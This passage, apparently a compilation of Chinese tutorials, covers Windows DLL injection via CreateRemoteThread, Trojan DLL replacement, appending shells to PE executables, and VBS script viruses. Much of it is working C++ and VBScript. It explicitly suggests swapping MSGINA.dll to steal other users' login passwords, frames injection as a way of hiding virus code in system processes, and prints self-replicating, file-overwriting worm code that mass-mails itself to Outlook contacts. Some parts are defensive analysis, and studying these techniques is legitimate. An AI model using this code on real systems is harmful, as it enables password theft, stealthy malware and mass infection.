return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);

// 释放进程空间中的内存
VirtualFreeEx(hProcess, lpszRemoteFile, 0, MEM_RELEASE);
// 关闭句柄
CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

// 在进程空间释放注入的DLL
BOOL WINAPI FreeLib(DWORD dwProcessId, LPTSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL,
hthSnapshot = NULL;
MODULEENTRY32 hMod = {sizeof(hMod)};
BOOL bFound;

// 取得指定进程的所有模块映象
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(NULL, ("CreateRemoteThread failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得所有模块列表中的指定的模块
BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(NULL, ("Module32First failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 循环取得想要的模块
for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
//ShowMessage(String(hMod.szExePath) + " | " + String(lpszLibName));
if ((strcmp(hMod.szExePath, lpszLibName) == 0) ||
(strcmp(hMod.szModule, lpszLibName) == 0))
break;
}
// 打开进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION,
FALSE, dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, ("OpenProcess failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得FreeLibrary函数在Kernel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle("Kernel32.dll"), "FreeLibrary");
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, ("GetProcAddress failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程来执行FreeLibrary函数
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
hMod.modBaseAddr,
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, ("CreateRemoteThread failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);

// 关闭句柄
CloseHandle(hThread);
CloseHandle(hthSnapshot);
CloseHandle(hProcess);

return TRUE;
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::btLoadClick(TObject *Sender)
{
m_szDllFile = Application->ExeName;
m_szDllFile = m_szDllFile.SubString(0, m_szDllFile.Length()
- String(StrRScan(m_szDllFile.c_str(),'\')).Length());
m_szDllFile = m_szDllFile + "\DllLib.dll";
m_dwProcessId = StrToInt(Edit->Text);

LoadLib(m_dwProcessId, WideString(m_szDllFile).c_bstr());
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::btUnloadClick(TObject *Sender)
{
FreeLib(m_dwProcessId, m_szDllFile.c_str());
}
//---------------------------------------------------------------------------
好了，把上面的工程编译成生EXE文件，接下来我们就可以进行DLL的注入测试了。先打开记事本（当然你也可以打开其它的进程，或直接在已经加载的进程测试），通过WINDOWS的任务管理器，找到它的进程ID。然后运行我们的测试工程，在文本框中输入进程ID，点击注入。这时我们就可以通过我们最先写的小工具来查看它的进程空间中所包含的模块了，你会发现，我们的DLL已经成功加载到了它的进程空间中。点击卸载，取消DLL的注入。

三、利用特洛伊DLL进行注入
这种方法的原理就是由自己写一个与原有进程调用的DLL具有相同接口函数的DLL，再用我们的DLL替换原有的DLL。在替换的过程中，由我们自己编写感兴趣的函数替换原有函数，而对其它不感兴趣的函数，则以函数转发的形式调用原有DLL中的函数。这里面有个前提，就是你在编写DLL时你必须知道原有DLL中的函数都有哪些，以免导至其它进程调用DLL时找不到相应的API函数，特别是在替换系统DLL文件时更要小心。
下面就来演示一下这种方式。我是这样做的，首先写一个DLL作为被替换的DLL，名为DllLib.dll（最后更名为_DllLib.dll），然后写特洛伊DLL，名为TroyDll.Dll（最后更名为原有DLL名，即DllLib.dll），与DllLib.Dll具有相同的API函数过程，但是对其中的一个API函数做更改，使其完成我们的工作，因为另外还有一个API函数需要对其进行函数转发，转给原来的DLL，即（更名为_DllLib.dll的DllLib.dll）。这时我们的测试程序本来是调用的DllLib.dll的，但由于DllLib.dll已经被TroyDll.dll替换了，所以测试程序实际上调用的是TroyDll.dll，而对于做转发的函数，则是通过TroyDll.Dll调用DllLib.dll（更名后的_DllLib.dll）完成的。此时我们的特洛伊DLL实际上已经注入到我们的测试程序的进程空间中来了。

1、编写本来的DLL。DllLib.dll（更名后为_DllLib.dll）的代码如下：
//===========================================================================
// 文件: UnitLib.cpp
// 说明: 演示用特洛伊DLL进行DLL注入.这个是本身的DLL,另一个特洛伊DLL将
// 对它进行函数转发,并实现另外的功能.
// 作者: 陶冶（无邪）
//===========================================================================

// 函数声明
extern "C" __declspec(dllexport) __stdcall void About();
extern "C" __declspec(dllexport) __stdcall int Add(int a, int b);
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------

void __declspec(dllexport) __stdcall About()
{
try
{
MessageBox(NULL,"这是本来的DLL文件！","原来的DLL",
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),"DllLib",MB_OK);
}
}

// 两数相加（注意：这里是两数相加）
int __declspec(dllexport) __stdcall Add(int a, int b)
{
return (a + b);
}
2、编写特洛伊DLL。TroyDll.dll的代码如下：

//===========================================================================
// 文件: UnitTroy.cpp
// 说明: 这个是特洛伊DLL,呆会将它的DLL文件更改为要替换的DLL文件名
// 作者: 陶冶
//===========================================================================

extern "C" __declspec(dllexport) __stdcall void About();
extern "C" __declspec(dllexport) __stdcall int Add(int a, int b);
int Multiply(int a, int b);

// DLL中的函数原形声明
typedef void (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);

static String szDllName;

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
szDllName = Application->ExeName;
szDllName = szDllName.SubString(0,szDllName.Length()
- String(StrRScan(szDllName.c_str(),'\')).Length());
// 更名后的DllLib.dll文件名
szDllName = szDllName + "\_DllLib.dll";
return 1;
}
//---------------------------------------------------------------------------

void __declspec(dllexport) __stdcall About()
{
// 直接做函数转发
HANDLE hDll = NULL;
hDll = LoadLibrary(szDllName.c_str());
ABOUT about;

try
{
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,"About");
if (about != NULL)
about();
}
else
MessageBox(NULL,"载入原来的DLL错误！", "特洛伊DLL",
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),"DllTroy",MB_OK);
}
}

int __declspec(dllexport) __stdcall Add(int a, int b)
{
int nRet;
HANDLE hDll = NULL;
ADD add;

hDll = LoadLibrary(szDllName.c_str());
if (hDll != NULL)
{
// 为了方便演示，这里再做一次函数转发，以便看到本来应该返回的值。
add = (ADD)GetProcAddress(hDll,"Add");
if (add != NULL)
nRet = add(a, b);
ShowMessage("这是本来DLL中的调用结果：" + IntToStr(nRet));
}
else
MessageBox(NULL, "载入本来的DLL错误！", "特洛伊DLL", MB_OK);
// 将原来完成两数相加的更改为两数相乘，返回两数的积。
nRet = Multiply(a, b);
return nRet;
}

int Multiply(int a, int b)
{
return (a * b);
}

3、编写测试工程。在窗体中添加两个按钮，分别调用DllLib.dll中的两个API函数。代码如下：
typedef (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);

//---------------------------------------------------------------------------
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::FormCreate(TObject *Sender)
{
m_szDllName = Application->ExeName;
m_szDllName = m_szDllName.SubString(0,m_szDllName.Length()
- String(StrRScan(m_szDllName.c_str(),'\')).Length());
m_szDllName = m_szDllName + "\DllLib.dll";
}
//---------------------------------------------------------------------------
// 调用About()函数
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
HANDLE hDll;
ABOUT about;

try
{
hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,"About");
if (about != NULL)
about();
}
}catch(Exception &e)
{
MessageBox(Handle, e.Message.c_str(), "ERROR",MB_OK);
}
}
//---------------------------------------------------------------------------
// 调用Add()函数
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
HANDLE hDll;
ADD add;
int nRet;

hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
add = (ADD)GetProcAddress(hDll,"Add");
if (add != NULL)
nRet = add(10, 2);
ShowMessage("从特洛伊DLL中返回的结果 : " + IntToStr(nRet));
}
}

4、测试。将DllLib.dll更名为_DllLib.dll，将TroyDll.dll更名为DllLib.dll，即完成了DLL的替换。下面运行我们的测试工程，单击调用About()函数的按钮，因为About()是通过DllLib.dll（即TroyDll.dll）做的函数转发（转以给原DLL，即_DllLib.dll），所以看到的是原DLL（即_DllLib.dll）中弹出的信息框。此时用查看进程模块的工具来查看进程空间，你会发现，你的特洛伊DLL（更名后的DllLib.dll）已经成功以注入到了测试程序的进程空间中了。
单击调用Add()函数的按钮，你会看到本来是完成两数相加的，返回的结果却是两数的积，因为我们已经在特洛伊DLL中对它做了手脚。这下是利用它的关键了。WINDOWS登录时的GINA，知道吧，想得到别人登录的密码吗？那么就是用这种方法了，把MSGINA.dll这个东西给它替换成自己的DLL，再复杂的密码也照样得到啊，一点也不费精神，呵呵~。（想自己写吗？看看《WinLogon登录管理和GINA简介》吧）
环境：
WIN2000 Server + BCB 6.0
附：本文相关程序代码
参考：《WINDOWS核心编程》

==============================================


exelock技术完全分析
真辛苦啊！这是我想说的第一句话。
有时痛苦得都不想做下去了，但我始终相信我可以做出来，就坚持下来了。要命的是，我的键盘和鼠标都不太灵活了，更要命的是，我连买一只新鼠标的钱都拿不出来！
一开始想做这个程序的时候，发现从理论上来讲真的是非常的简单，设有一个程序名叫dosomething，我们的检查密码的程序叫checkpassword，那么，我们把checkpassword加入到dosomething的前面，在某人想运行dosomething的时候，好了，checkpassword跳了出来，某人输入正确的密码，就让他dosomething，反之亦然。
简单吧，但只是看起来是这样！
我们把这个dosomething.exe用记事本什么的打开，看到的只是一堆乱码，完全没有设想中的begin,end之类的东西，呵呵，连程序从那里开始都不知道，更不用说什么加入自己的代码了。:)
要了解EXE的文件结构，就要知道PE(Portable Executable File Format)是什么东东，下面是相关的几篇文章，推荐先看一下:)
Matt Pietrek大哥写的Peering Inside the PE: A Tour of the Win32 Portable Executable File Format，他可是我的偶像之一哦。
候捷先生翻译的中文版！嗯，我就知道你要这个。我的另一个偶像:)
MSDN里的Microsoft Portable Executable and Common Object File Format Specification,官方资料。
如果你E文不好的话，就看候捷先生那篇就可以看通本文了。
如果你看不懂以上文档的话，嗯……我帮不了你了，哈哈，说笑了:)
想把一个程序嵌到另一个程序运行可以分为三个步骤:
1 修改PE文件头信息
2 增加一个段表信息(Section Table)
3 写入壳文件
下面是我对这三个步骤的详细说明。
1 修改PE文件头信息
.1 段数加一(NumberOfSections)
我们加了一个Section，这个数当然要加一了。
.2 修改程序入口(AddressOfEntryPoint)
这个就有不用说了吧！呵呵，把这个地址指到壳文件的入口就行了，注意的是要加上ImageBase 。
.3 增加代码大小(SizeOfCode)
是原来的大小加上壳文件的大小（壳的头部除外）。
.4 增加内存映像大小(SizeOfImage)
也是原来的大小加上壳文件的大小（壳的头部除外）。
.5 修改引入表(Import Table)入口(DataDirectory[1].VirtualAddress)
这个比较重要，请仔细看了。
我们知道，一般的windows的程序都有API的调用，这个Import Table里放的就是程序要调用的DLL的名称和各个函数的名称或序号。由于我们的外壳程序也要用到API的调用，所以我们必须把入口修改为外壳程序的Import Table的入口。一开始的时候，我本来想不修改这个入口的，但为了清除外壳程序时的方便，所以只有修改原Import Table的入口了，但这又引起了另一个麻烦，就是我们必需人工装入原程序的输入部分。也就是说，原来的程序要引用的DLL现在要外壳程序加载上去了，嗯……真是有得必有失啊。因为Import Table是装入器，也就是运行程序时把程序装入系统并运行的那个家伙，自动加载上去的，修改了原程序的入口之后，装入器就加载了壳程序的Import Table，而原程序的Import Table它就不管了（它不知道啊，怎么管？）。所以只有壳程序把这个粗活接下来了。
.6 修改引入表(Import Table)大小(DataDirectory[1].Size)
这个改为壳程序的引入表大小就可以了。
2 增加一个段表信息(Section Table)
.1 在最后一个段表信息之后增加一个段表信息".BOYU"
没有这个段表信息的话，系统才不管你加了什么东西进去呢。
3 写入壳文件
.1 把壳程序的exe文件中的涉及到地址部分相应地加上原程序的基址(ImageBase)，
一般来说是调用DLL，还有全局变量的时候要用到。
.2 保存原程序的ImageBase,AddressOfEntryPoint,Import Table入口(DataDirectory[1].VirtualAddress)在壳程序的.data 里的相应的变量偏移地址，以供壳程序使用。
.3 把壳程序的exe文件的三个段.code、 .rdata 、.data写入原exe文件的尾部，要注意段对齐(Section Align)
这三个段合并为一个，写到段表信息量".BOYU"的PointerToRawData所指的地方，因为要注意Section Align 所以前面可能要加上补足的部分。


DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中，
在系统启动的时候，一个EXE程序会将这个DLL加载至某些系统进程（如Explorer.exe）中运行。
这样一来，普通的进程管理器就很难发现这种病毒了，而且即使发现了也很难清除，
因为只要病毒寄生的进程不终止运行，那么这个DLL就不会在内存中卸载，
用户也就无法在资源管理器中删除这个DLL文件，真可谓一箭双雕哉。
记得2003年QQ尾巴病毒肆虐的时候，就已经有些尾巴病毒的变种在使用这种技术了。
到了2004年初，我曾经尝试着仿真了一个QQ尾巴病毒，但独是跳过了DLL的远程加载技术。
直到最近在学校论坛上看到了几位朋友在探讨这一技术，便忍不住将这一尘封已久的技术从
我的记忆中拣了出来，以满足广大的技术爱好者们。
必备知识
    在阅读本文之前，你需要了解以下几个API函数：
    ·OpenProcess - 用于打开要寄生的目标进程。
    ·VirtualAllocEx/VirtualFreeEx - 用于在目标进程中分配/释放内存空间。
    ·WriteProcessMemory - 用于在目标进程中写入要加载的DLL名称。
    ·CreateRemoteThread - 远程加载DLL的核心内容，用于控制目标进程调用API函数。
    ·LoadLibrary - 目标进程通过调用此函数来加载病毒DLL。
    在此我只给出了简要的函数说明，关于函数的详细功能和介绍请参阅MSDN。
    示例程序
    我将在以下的篇幅中用一个简单的示例Virus.exe来实现这一技术。这个示例的界面如下图：
首先运行Target.exe，这个文件是一个用Win32 Application向导生成的“Hello, World”程序，
用来作为寄生的目标进程。
    然后在界面的编辑控件中输入进程的名称“Target.exe”，单击“注入DLL”按钮，
这时候Virus.exe就会将当前目录下的DLL.dll注入至Target.exe进程中。
    在注入DLL.dll之后，你也可以单击“卸载DLL”来将已经注入的DLL卸载。
    模拟的病毒体DLL.dll
    这是一个简单的Win32 DLL程序，它仅由一个入口函数DllMain组成：
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD
        fdwReason, LPVOID lpvReserved )
{
switch ( fdwReason
        )
{
case DLL_PROCESS_ATTACH:
{
MessageBox( NULL,
        _T("DLL已进入目标进程。"), _T("信息"), MB_ICONINFORMATION
        );
}
break;
case
        DLL_PROCESS_DETACH:
{
MessageBox( NULL, _T("DLL已从目标进程卸载。"),
        _T("信息"), MB_ICONINFORMATION );
}
break;
}
return
        TRUE;
}
    如你所见，这里我在DLL被加载和卸载的时候调用了MessageBox，这是用来显示我的远程注入/
卸载工作是否成功完成。而对于一个真正的病毒体来说，
它往往就是处理DLL_PROCESS_ATTACH事件，
在其中加入了启动病毒代码的部分：
case DLL_PROCESS_ATTACH:
{
  StartVirus();
}
break;
注入！
现在要开始我们的注入工作了。首先，我们需要找到目标进程：
DWORD FindTarget( LPCTSTR lpszProcess
        )
{
DWORD dwRet = 0;
HANDLE hSnapshot =
        CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
PROCESSENTRY32
        pe32;
pe32.dwSize = sizeof( PROCESSENTRY32 );
Process32First(
        hSnapshot, &pe32 );
do
{
if ( lstrcmpi( pe32.szExeFile,
        lpszProcess ) == 0 )
{
dwRet =
        pe32.th32ProcessID;
break;
}
} while ( Process32Next(
        hSnapshot, &pe32 ) );
CloseHandle( hSnapshot );
return
        dwRet;
}
    这里我使用了Tool Help函数库，当然如果你是NT系统的话，也可以选择PSAPI函数库。
这段代码的目的就是通过给定的进程名称来在当前系统中查找相应的进程，并返回该进程的ID。得到进程ID后，
就可以调用OpenProcess来打开目标进程了：
// 打开目标进程
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE, FALSE, dwProcessID );
    现在有必要说一下OpenProcess第一个参数所指定的三种权限。在Win32系统下，
每个进程都拥有自己的4G虚拟地址空间，各个进程之间都相互独立。如果一个进程需要完成跨进程的工作的话，
那么它必须拥有目标进程的相应操作权限。在这里，PROCESS_CREATE_THREAD表示我可以通过返回的进程
句柄在该进程中创建新的线程，也就是调用CreateRemoteThread的权限；同理，PROCESS_VM_OPERATION
则表示在该进程中分配/释放内存的权限，也就是调用VirtualAllocEx/VirtualFreeEx的权限；
PROCESS_VM_WRITE表示可以向该进程的地址空间写入数据，也就是调用WriteProcessMemory的权限。
    至此目标进程已经打开，那么我们该如何来将DLL注入其中呢？在这之前，我请你看一行代码，
是如何在本进程内显式加载DLL的：
HMODULE hDll = LoadLibrary( "DLL.dll" );
    那么，如果能控制目标进程调用LoadLibrary，不就可以完成DLL的远程注入了么？的确是这样，
我们可以通过CreateRemoteThread将LoadLibrary作为目标进程的一个线程来启动，这样就可以完成
“控制目标进程调用LoadLibrary”的工作了。到这里，也许你会想当然地写下类似这样的代码：
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc,
(LPVOID)"DLL.dll", 0, &dwID );
    不过结果肯定会让你大失所望——注入DLL失败！
    那么现在让我们来分析一下失败的原因吧。我是前说过，在Win32系统下，
每个进程都拥有自己的4G虚拟地址空间，
各个进程之间都是相互独立的。在这里，我们当作参数传入的字符串"DLL.dll"其实是一个数值，
它表示这个字符串位于Virus.exe地址空间之中的地址，而这个地址在传给Target.exe之后，
它指向的东西就失去了有效性。举个例子来说，譬如A、B两栋大楼，我住在A楼的401；
那么B楼的401住的是谁我当然不能确定——也就是401这个门牌号在B楼失去了有效性，而且如果我想要入住B楼的话，
我就必须请B楼的楼长为我在B楼中安排新的住处（当然这个新的住处是否401也就不一定了）。
由此看来，我就需要做这么一系列略显繁杂的手续——首先在Target.exe目标进程中分配一段内存空间，
然后向这段空间写入我要加载的DLL名称，最后再调用CreateRemoteThread。这段代码就成了这样：
// 向目标进程地址空间写入DLL名称
DWORD dwSize,
        dwWritten;
dwSize = lstrlenA( lpszDll ) + 1;
LPVOID lpBuf =
        VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE
        );
if ( NULL == lpBuf )
{
CloseHandle( hProcess );
//
        失败处理
}
if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll,
        dwSize, &dwWritten ) )
{
// 要写入字节数与实际写入字节数不相等，仍属失败
if (
        dwWritten != dwSize )
{
VirtualFreeEx( hProcess, lpBuf, dwSize,
        MEM_DECOMMIT );
CloseHandle( hProcess );
//
        失败处理
}
}
else
{
CloseHandle( hProcess );
//
        失败处理
}
// 使目标进程调用LoadLibrary，加载DLL
DWORD dwID;
LPVOID pFunc
        = LoadLibraryA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL,
        0,
(LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );
    需要说的有两点，一是由于我要在目标进程中为ANSI字符串来分配内存空间，
所以这里凡是和目标进程相关的部分，都明确使用了后缀为“A”的API函数——
当然，如果要使用Unicode字符串的话，可以换作后缀是“W”的API；
第二，在这里LoadLibrary的指针我是取的本进程的LoadLibraryA的地址，这是因为LoadLibraryA/LoadLibraryW位于kernel32.dll之中，
而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址，所以这里的函数地址在Target.exe中也是有效的。
在调用LoadLibrary完毕之后，我们就可以做收尾工作了：
// 等待LoadLibrary加载完毕
WaitForSingleObject( hThread, INFINITE );
// 释放目标进程中申请的空间
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hThread );
CloseHandle( hProcess );
    在此解释一下WaitForSingleObject一句。由于我们是通过CreateRemoteThread在目标进程中另外开辟了
一个LoadLibrary的线程，所以我们必须等待这个线程运行完毕才能够释放那段先前申请的内存。
    好了，现在你可以尝试着整理这些代码并编译运行。运行Target.exe，
然后开启一个有模块查看功能的进程查看工具（在这里我使用我的July）来查看Target.exe的模块，
你会发现在注入DLL之前，Target.exe中并没有DLL.dll的存在：
    在调用了注入代码之后，DLL.dll就位于Target.exe的模块列表之中了：
  矛盾相生
    记得2004年初我将QQ尾巴病毒成功仿真后，有很多网友询问我如何才能杀毒，
不过我都没有回答——因为当时我研究的重点并非病毒的寄生特性。
这一寄生特性直到今天可以说我才仿真完毕，
那么，我就将解毒的方法也一并公开吧。
    和DLL的注入过程类似，只不过在这里使用了两个API：GetModuleHandle和FreeLibrary。
出于篇幅考虑，我略去了与注入部分相似或相同的代码：
// 使目标进程调用GetModuleHandle，获得DLL在目标进程中的句柄
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)
pFunc, lpBuf, 0, &dwID );
// 等待GetModuleHandle运行完毕
WaitForSingleObject( hThread, INFINITE );
// 获得GetModuleHandle的返回值
GetExitCodeThread( hThread, &dwHandle );
// 释放目标进程中申请的空间
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hThread );
// 使目标进程调用FreeLibrary，卸载DLL
pFunc = FreeLibrary;
hThread = CreateRemoteThread( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc,
(LPVOID)dwHandle, 0, &dwID );
// 等待FreeLibrary卸载完毕
WaitForSingleObject( hThread, INFINITE );
CloseHandle( hThread );
CloseHandle( hProcess );
    用这个方法可以卸载一个进程中的DLL模块，当然包括那些非病毒体的DLL。
所以，这段代码还是谨慎使用为好。
    在完成卸载之后，如果没有别的程序加载这个DLL，你就可以将它删除了。


[转载]VBS脚本病毒原理分析及防范

信息来源：8341.cn
网络的流行，让我们的世界变得更加美好，但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件，用兴奋得几乎快发抖的鼠标去点击附件的时候；当您浏览一个信任的网站之后，发现打开每个文件夹的速度非常慢的时候，您是否察 觉病毒已经闯进了您的世界呢？2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播，爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪，全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
    上面提及的两个病毒最大的一个共同特点是：使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗，很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析：
    一、Vbs脚本病毒的特点及发展现状
    VBS病毒是用VB Script编写而成，该脚本语言功能非常强大，它们利用Windows系统的开放性特点，通过调用一些现成的Windows对象、组件，可以直接对文件系统、注册表等进行控制，功能非常强大。应该说病毒就是一种思想，但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点：
    1．编写简单，一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
    2．破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃，网络发生严重阻塞。
    3．感染力强。由于脚本是直接解释执行，并且它不需要像PE病毒那样，需要做复杂的PE文件格式处理，因此这类病毒可以直接通过自我复制的方式感染其他同类文件，并且自我的异常处理变得非常容易。
    4．传播范围大。这类病毒通过htm文档，Email附件或其它方式，可以在很短时间内传遍世界各地。
    5．病毒源码容易被获取，变种多。由于VBS病毒解释执行，其源代码可读性非常强，即使病毒源码经过加密处理后，其源代码的获取还是比较简单。因此，这类病毒变种比较多，稍微改变一下病毒的结构，或者修改一下特征值，很多杀毒软件可能就无能为力。
    6．欺骗性强。脚本病毒为了得到运行机会，往往会采用各种让用户不大注意的手段，譬如，邮件的附件名采用双后缀，如.jpg.vbs，由于系统默认不显示后缀，这样，用户看到这个文件的时候，就会认为它是一个jpg图片文件。
    7．使得病毒生产机实现起来非常容易。所谓病毒生产机，就是可以按照用户的意愿，生产病毒的机器（当然，这里指的是程序），目前的病毒生产机，之所以大多数都为脚本病毒生产机，其中最重要的一点还是因为脚本是解释执行的，实现起来非常容易，具体将在我们后面谈及。
    正因为以上几个特点，脚本病毒发展异常迅猛，特别是病毒生产机的出现，使得生成新型脚本病毒变得非常容易。
二、Vbs脚本病毒原理分析
    1．vbs脚本病毒如何感染、搜索文件
    VBS脚本病毒一般是直接通过自我复制来感染文件的，病毒中的绝大部分代码都可以直接附加在其他同类程序的中间，譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部，并在顶部加入一条调用病毒代码的语句，而爱虫病毒则是直接生成一个文件的副本，将病毒代码拷入其中，并以原文件名作为病毒文件名的前缀，vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理：
以下是文件感染的部分关键代码：
    Set fso=createobject("scripting.filesystemobject" '创建一个文件系统对象
    set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件（即病毒本身）
    vbscopy=self.readall　　 ' 读取病毒全部代码到字符串变量vbscopy……
    set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件，准备写入病毒代码
    ap.write vbscopy　　　　　　 ' 将病毒代码覆盖目标文件
    ap.close
    set cop=fso.getfile(目标文件.path) '得到目标文件路径
    cop.copy(目标文件.path & ".vbs"　 ' 创建另外一个病毒文件（以.vbs为后缀）
    目标文件.delete(true)　　　'删除目标文件
    上面描述了病毒文件是如何感染正常文件的：首先将病毒自身代码赋给字符串变量vbscopy，然后将这个字符串覆盖写到目标文件，并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本，最后删除目标文件。
    下面我们具体分析一下文件搜索代码：
    '该函数主要用来寻找满足条件的文件，并生成对应文件的一个病毒副本
    sub scan(folder_)　　'scan函数定义，
    on error resume next　　 '如果出现错误，直接跳过，防止弹出错误窗口
    set folder_=fso.getfolder(folder_)
         set files=folder_.files　　 ' 当前目录的所有文件集合
         for each file in filesext=fso.GetExtensionName(file)　　'获取文件后缀
         ext=lcase(ext)　　　 '后缀名转换成小写字母
          if ext="mp5" then　　'如果后缀名是mp5，则进行感染。请自己建立相应后缀名的文件，最好是非正常后缀名 ，以免破坏正常程序。
        Wscript.echo (file)
      end if
    next
    set subfolders=folder_.subfolders
    for each subfolder in subfolders　　'搜索其他目录；递归调用
      scan( )
      scan(subfolder)
    next
    end sub
    上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍，非常巧妙，采用了一个递归的算法遍历整个分区的目录和文件。
    2．vbs脚本病毒通过网络传播的几种方式及代码分析
    VBS脚本病毒之所以传播范围广，主要依赖于它的网络传播功能，一般来说，VBS脚本病毒采用如下几种方式进行传播：
1）通过Email附件传播
    这是一种用的非常普遍的传播方式，病毒可以通过各种方法拿到合法的Email地址，最常见的就是直接取outlook地址簿中的邮件地址，也可以通过程序在用户文档（譬如htm文件）中搜索Email地址。
    下面我们具体分析一下VBS脚本病毒是如何做到这一点的：
    Function mailBroadcast()
    on error resume next
    wscript.echo
    Set outlookApp = CreateObject("Outlook.Application" //创建一个OUTLOOK应用的对象
    If outlookApp= "Outlook" Then
      Set mapiObj=outlookApp.GetNameSpace("MAPI" //获取MAPI的名字空间
      Set addrList= mapiObj.AddressLists　　　　　　　　//获取地址表的个数
      For Each addr In addrList
      If addr.AddressEntries.Count <> 0 Then
     addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
     For addrEntIndex= 1 To addrEntCount　　 //遍历地址表的Email地址
        Set item = outlookApp.CreateItem(0)　　 //获取一个邮件对象实例
        Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
        item.To = addrEnt.Address　　　　　　　　　　 //填入收信人地址　　　　item.Subject = "病毒传播实验"　　//写入邮件标题
        item.Body = "这里是病毒邮件传播测试，收到此信请不要慌张！" //写入文件内容
        Set attachMents=item.Attachments //定义邮件附件
        attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
        item.DeleteAfterSubmit = True　　 //信件提交后自动删除
        If item.To <> "" Then
        item.Send　　　　　　　　　　 //发送邮件
        shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记，以免重复感染
        End If
     Next
End If
Next
End if
End Function
    2）通过局域网共享传播
    局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说，为了局域网内交流方便，一定存在不少共享目录，并且具有可写权限，譬如win2000创建共享时，默认就是具有可写权限。这样病毒通过搜索这些共享目录，就可以将病毒代码传播到这些目录之中。
    在VBS中，有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
